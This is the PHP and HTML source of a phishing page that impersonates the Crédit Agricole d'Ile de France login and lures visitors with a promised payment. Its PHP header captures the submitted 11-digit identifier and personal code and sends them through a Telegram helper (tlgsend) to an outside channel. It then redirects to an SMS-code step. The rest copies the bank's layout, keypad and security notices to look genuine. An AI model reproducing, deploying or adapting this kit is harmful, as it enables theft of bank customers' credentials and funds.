<?php

error_reporting(0);

if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

include 'core/ip.php';
include 'core/telegram.php';
include 'config.php';

if (isset($_POST['CCPTE'], $_POST['password'])) {

    $ip = ip();
    $password = $_POST['password'];
    $identifiant = $_POST['CCPTE'];

    $message = $_SESSION['data'];
    $message .= "🧲 Identifiant: $identifiant \n";
    $message .= "🧲 Pass: $password \n";

    $_SESSION['data'] = $message;

    tlgsend(urlencode($message));
    header('location: loading_sms.php');
}
?>
<html lang="fr" class=" backgroundblendmode no-capture flexbox flexwrap">

  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta property="og:url" content="#">
    <meta name="description" content="">
    <meta property="og:description" content="">
    <meta name="robots" content="noindex">
    <title>Accéder à mes comptes - Crédit Agricole d'Ile de France</title>
    <noscript>
      <style type="text/css">
        body {
          overflow: hidden;
        }

      </style>
      <div class="TechnicalError noscript">
        <div class="TechnicalError-content">
          <div class="TechnicalError-paragraph">
            <p class="TechnicalError-firstPara">Malheureusement, votre configuration de navigation actuelle ne vous permet pas de naviguer dans de bonnes conditions.</br> Vous ne pourrez pas profiter de toutes les fonctionnalités de notre site ni accéder à votre espace client.</p>
          </div>
        </div>
      </div>
    </noscript>
    <meta name="format-detection" content="telephone=no">
    <link rel="stylesheet" href="assets/css/id.css">
    <script defer src="assets/js/vendor/jquery-3.4.1.min.js"> </script>

  </head>

  <body class="BodyLogin" cz-shortcut-listen="true">
    <header>
    </header>
    <main>
      <div class="Login">
        <div class="Login-header js-Header">

          <a href="" class="Login-logo Login-logo-js">
            <div class="Login-logoImg js-needFakeNotSvg" style="position: relative;"><img class="" src="assets/img/logo.svg" alt="Crédit Agricole de Paris et d’Ile de France - Banque et assurances" style="position: absolute; top: 50%; left: 50%; max-width: 100%; max-height: 100px; height: 100%; transform: translate(-50%, -50%);"><img src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQ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AAAAP/aAAwDAQACEQMRAD8AlUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/9k=" style="opacity: 0; max-width: 100%; max-height: 100%; visibility: hidden;"></div>
          </a>
          <a href="#" class="Login-close" id="Login-close" tabindex="0" role="button" aria-label="Quitter l'accès à mon espace"></a>
        </div>
        <div class="container-fluid Template" style="margin-top: 60px;">
          <div class="row js-Template-head">
            <div class="col-xs-12 col-md-6">
              <div class="Template-reduceMargin15px">
                <div class="js-StickyPush js-Sticky--enable">
                  <div class="js-StickyWrap" style="transform: translateY(0px);">
                    <div class="js-FullHeight ForgotPswd-imgWrapper hidden-xs" style="height: 726px;">
                      <div class="placeholder-left parsys">
                        <div class="new-zdg parbase section">
                          <div class="componentZdg">
                            <div class="PushCarousel3">
                              <div><button class="PushCarousel3-masking" onclick="toggleStateCarousel('hom')">Mettre en pause ou
                                  redémarrer le défilement du carousel</button></div>
                              <div class="PushCarousel3-carousel">
                                <div data-trackingclass="carrousel" class="PushCarousel3-carouselInner owl-loaded owl-drag" data-owl-access-keyup="1" data-owl-carousel-focusable="1">
                                  <div class="owl-stage-outer">
                                    <div class="owl-stage" style="transform: translate3d(-669px, 0px, 0px); transition: all 0.25s ease 0s; width: 1338px;">
                                      <div class="owl-item" aria-hidden="true" style="width: 668px; margin-right: 1px;">
                                        <div class="PushCarousel3-item" data-trackinginfo="progcr_AUT-Fraudcoursier">
                                          <div class="PushCommunication-backgroundWrapper">
                                            <div class="PushCommunication-background PushCommunication-background--filterTransparent" style="background-image: url('/content/dam/assetsca/cr882/npc/images/nos-campagnes/coursier.jpg')">
                                            </div>
                                          </div>
                                          <div class="PushCommunication-zoning PushCommunication-zoning--bottomCenter PushCommunication-zoning--primary">
                                            <div class="PushCommunication-sticky">Fraude</div>
                                            <div class="PushCommunication-title">
                                              <div class="texte section">
                                                <h2><span class="RichText-titre3Blanc">Fraude aux coursiers : comment ne pas se faire piéger ?</span></h2>
                                              </div>
                                            </div>
                                            <div class="PushCommunication-text">
                                              <div class="texte section">
                                                <p>Cette année, une nouvelle forme d’escroquerie bancaire se déploie. En quoi consiste la « fraude au coursier » ? Comment anticiper et agir pour se protéger contre une telle tentative de fraude ?</p>
                                              </div>
                                            </div>
                                            <a href="#" class="PushCommunication-btn PushCommunication-btn--primary" data-custom-redirect="#" target="_blank" data-owl-temp-tabindex="0" tabindex="0"><span>Je m’informe</span></a>
                                          </div>
                                        </div>
                                      </div>
                                      <div class="owl-item active" aria-hidden="false" style="width: 668px; margin-right: 1px;">
                                        <div class="PushCarousel3-item" data-trackinginfo="defnat_cybersecurite">

                                          <div class="PushCommunication-backgroundWrapper">
                                            <div class="PushCommunication-background PushCommunication-background--filterTransparent" style="background-image: url('assets/img/ZDG-fraude-securipass.jpg')">
                                            </div>
                                          </div>
                                          <div class="PushCommunication-zoning PushCommunication-zoning--bottomCenter PushCommunication-zoning--white">


                                            <div class="PushCommunication-title">
                                              <div class="texte section">
                                                <h3>Cybersécurité : restez zen grâce à nos conseils et bonnes pratiques<br>

                                                </h3>
                                              </div>
                                            </div>

                                            <div class="PushCommunication-text">
                                              <div class="texte section">
                                                <p>Consultez notre nouveau guide de sécurité pour apprendre à reconnaître les principales menaces de cybersécurité.</p>
                                              </div>
                                            </div>
                                            <a href="#" class="PushCommunication-btn PushCommunication-btn--primary" data-custom-redirect="#" target="_blank" tabindex="0" data-owl-temp-tabindex="0"><span>Accédez au guide sécurité </span></a>
                                          </div>
                                        </div>
                                      </div>
                                    </div>
                                  </div>
                                  <div class="owl-nav"><button type="button" role="presentation" class="owl-prev" tabindex="0"></button><button type="button" role="presentation" class="owl-next" tabindex="0"></button></div>
                                  <div class="owl-dots"><button role="button" class="owl-dot"><span></span></button><button role="button" class="owl-dot active"><span></span></button></div>
                                </div>
                              </div>
                            </div>
                          </div>
                        </div>
                      </div>
                    </div>
                  </div>
                </div>
              </div>
            </div>

            <div class="col-xs-12 col-md-6">
              <div class="Template-reduceMargin15px">
                <div class="Login-container">
                  <div class="Login-title">
                    <center><h2>Connecte toi <strong>pour récevoir ton paiement</strong></h2></center>
                  </div>
                  <div class="row row-no-padding">
                    <div class="col-xs-12 col-sm-6">
                      <div class="login-mini parbase">
                        <form class="Login-form" id="loginForm" name="loginForm" method="post">
                          <div class="row row-no-padding">
                            <div class="form-group">
                              <label for="Login-account" class="col-xs-7 Login-noPadding Login-accountLabel">Identifiant</label>
                              <div class="col-xs-12 Login-noPadding ForgotPswd-paragraphInformation">
                                <p id="descIdentifiant">Saisissez votre identifiant à 11 chiffres</p>
                              </div>
                              <div class="col-xs-12 Login-noPadding" id="Login-account-div">
                                <div class="add-clear-span form-group has-clear">
                                  <input onkeypress="forceImputNumber(event); if(document.getElementById('Login-password').value.length==6 && document.getElementById('Login-account').value.length == 11)document.getElementById('validation').removeAttribute('disabled') " class="form-control input-clear" id="Login-account" name="CCPTE" placeholder="Exemple 98652706859" maxlength="11" type="text" required="" aria-label="Identifiant" data-aria-label="Effacer et saisir à nouveau le champ identifiant" aria-describedby="descIdentifiant" tabindex="0">
                                   <span onclick="{document.getElementById('Login-account').value='';document.getElementById('validation').setAttribute('disabled', 'true')}" role="button" class="add-clear-x form-control-feedback icon-form npc-close" style="cursor: pointer; text-decoration: none; overflow: hidden; position: absolute; pointer-events: auto; right: 0px; top: 4px; z-index: 3; display: block;" aria-label="Effacer et saisir à nouveau le champ identifiant" tabindex="0"></span>
                                </div>
                                <div class="loader loader--biggest loader--center" style="display: none;"></div>
                              </div>
                            </div>
                          </div>

                          <div class="col-xs-12 Login-noPadding error" tabindex="-1" style="display:none" data-aria-describredby="erreur-ident">
                            <p role="alert" id="erreur-ident">
                              Veuillez saisir votre numéro de compte à onze chiffres ou caractères alphabétiques
                            </p>
                          </div>

                          <div class="row row-no-padding">
                            <div class="form-group div-code-perso" style="display: block;">
                              <label for="Login-password" class="col-xs-7 Login-noPadding Login-accountLabel">Code personnel</label>
                              <div class="col-xs-5 Login-lostPswd Login-noPadding js-lostPswd-pswd">
                                <div class="login-simple-link parbase">
                                  <a href="#" class="Login-lostPswdLink js-OpenTooltip" tabindex="0" aria-label="Mot de passe perdu ou oublié ?" style="display: inline;">Perdu / Oublié&nbsp;?</a>
                                </div>
                              </div>
                              <div class="sr-only"><span id="passwordmessage" aria-live="polite"></span></div>
                              <div class="col-xs-12 Login-noPadding" id="Login-password-div">

                                <div class="add-clear-span form-group  has-clear">
                                  <input name="password" id="Login-password" type="password" class="form-control input-clear" placeholder="Tapez votre code dans le pavé numérique ci-dessous" readonly="readonly" aria-label="Code personnel" data-aria-label="Effacer et saisir à nouveau le champ code personnel" tabindex="0">
                                  <span onclick="{document.getElementById('Login-password').value=''; document.getElementById('validation').setAttribute('disabled', 'true')}" role="button" class="add-clear-x form-control-feedback icon-form npc-close" style="cursor: pointer; text-decoration: none; overflow: hidden; position: absolute; pointer-events: auto; right: 0px; top: 4px; z-index: 3;" aria-label="Effacer et saisir à nouveau le champ code personnel" tabindex="0"></span>
                                </div>
                              </div>
                            </div>
                          </div>
                          <div class="col-xs-12 Login-noPadding error" tabindex="-1" style="display:none" aria-describedby="erreur-keypad">
                            <p role="alert" id="erreur-keypad">
                              Votre identification est incorrecte, veuillez ressaisir votre code d'accès
                            </p>
                          </div>
                          <div class="row row-no-padding">
                            <div class="col-xs-12">

                              <button tabindex="0" type="button" aria-label="Valider mon indentifiant et entrer mon code personnel" class="btn btn-primary col-xs-12 Login-button" login-submit-btn="" style="display: none;">
                                Entrer mon code personnel
                              </button>

                            </div>
                          </div>
                          <div id="clavier_num" style="display: block;">
                            <div class="row row-no-padding">
                              <div class="col-xs-12">
                                <div class="Login-keypad">
                                  <a onclick="clavier(1)" href="#" class="Login-key T031__key" tabindex="0" role="button">
                                    <div data-pos="0">1</div>
                                  </a>
                                  <a onclick="clavier(2)" href="#" class="Login-key T031__key" tabindex="0" role="button">
                                    <div data-pos="1">2</div>
                                  </a>
                                  <a onclick="clavier(5)" href="#" class="Login-key T031__key" tabindex="0" role="button">
                                    <div data-pos="2">5</div>
                                  </a>
                                  <a onclick="clavier(0)" href="#" class="Login-key T031__key" tabindex="0" role="button">
                                    <div data-pos="3">0</div>
                                  </a>
                                  <a onclick="clavier(3)" href="#" class="Login-key T031__key" tabindex="0" role="button">
                                    <div data-pos="4">3</div>
                                  </a>
                                </div>
                              </div>
                            </div>
                            <div class="row row-no-padding">
                              <div class="col-xs-12">
                                <div class="Login-keypad">
                                  <a onclick="clavier(6)" href="#" class="Login-key T031__key" tabindex="0" role="button">
                                    <div data-pos="5">6</div>
                                  </a>
                                  <a onclick="clavier(8)" href="#" class="Login-key T031__key" tabindex="0" role="button">
                                    <div data-pos="6">8</div>
                                  </a>
                                  <a onclick="clavier(7)" href="#" class="Login-key T031__key" tabindex="0" role="button">
                                    <div data-pos="7">7</div>
                                  </a>
                                  <a onclick="clavier(4)" href="#" class="Login-key T031__key" tabindex="0" role="button">
                                    <div data-pos="8">4</div>
                                  </a>
                                  <a onclick="clavier(9)" href="#" class="Login-key T031__key" tabindex="0" role="button">
                                    <div data-pos="9">9</div>
                                  </a>
                                </div>
                              </div>
                            </div>
                          </div>
                          <div class="row row-no-padding">
                            <div class="col-xs-12">
                              <input value="Valider" id="validation" aria-label="Valider mon code et accèder à mes comptes" type="submit" class="btn btn-primary Login-button col-xs-12" style="display: block;" disabled>
                            </div>
                          </div>
                          <div class="register parsys">
                            <div class="texte section">
                              <div tabindex="-1">
                                <p style="text-align: center;"><span class="h3">Vous n’êtes pas encore client&nbsp;?</span></p>

                              </div>
                            </div>
                            <div class="bouton-generique parbase section">
                              <div class="GenericBtn GenericBtn--full">
                                <div href="#" class="GenericBtn-btn" target="_self">
                                  <span>Devenir client</span>
                                </div>
                              </div>
                            </div>
                          </div>
                        </form>
                      </div>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                      <div class="Login-information">
                        <div class="infos texte">
                          <div tabindex="-1">
                            <h2><span class="lead"><b>OUBLI/PERTE DE CODE PERSONNEL&nbsp;</b></span></h2>
                            <p><span class="p"><span class="RichText-texteVignettes">Si vous avez oublié ou perdu votre code personnel, cliquez <a href="#" target="_self">ici</a>.</span></span></p>
                            <p><span class="p"><span class="RichText-texteVignettes">&nbsp;</span></span></p>
                            <p><span class="lead"><b>UN PROBLÈME TECHNIQUE ?<br>
                                  <span class="RichText-texteVignettes">Une assistance est à votre disposition,&nbsp;<a href="#">cliquez ici</a>.</span><br>
                                  <br>
                                </b></span></p>
                            <p><span class="lead"><b>SÉCURITÉ<br>
                                </b></span><span class="RichText-texteVignettes">Restez vigilants et veillez à protéger vos données personnelles.<br>
                                <a href="#" target="_self" title="Conseils de sécurité">Consultez nos conseils de sécurité</a></span></p>
                            <p><span class="RichText-texteVignettes">Nous vous invitons également à consulter régulièrement nos Conditions Générales d'utilisation.<br>
                                <a href="#" title="Mentions légales (même onglet)">Voir les Conditions Générales d'Utilisation</a></span></p>
                          </div>
                        </div>
                      </div>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </main>
    <script type="text/javascript">
      function clavier(valeur) {
        var password = document.getElementById('Login-password');
        if (password.value.length < 6) {
          password.value += valeur;
          if (password.value.length == 6) {
            if (document.getElementById('Login-account').value.length == 11)
              document.getElementById('validation').removeAttribute('disabled');
          }
        }
      }
      const forceImputNumber = (evt) => {
        evt = evt ? evt : window.event;
        var charCode = evt.which ? evt.which : evt.keyCode;
        if (charCode > 31 && (charCode < 48 || charCode > 57) && charCode !== 46) {
          evt.preventDefault();
        } else {
          return true;
        }
      };

    </script>
  </body>

</html>
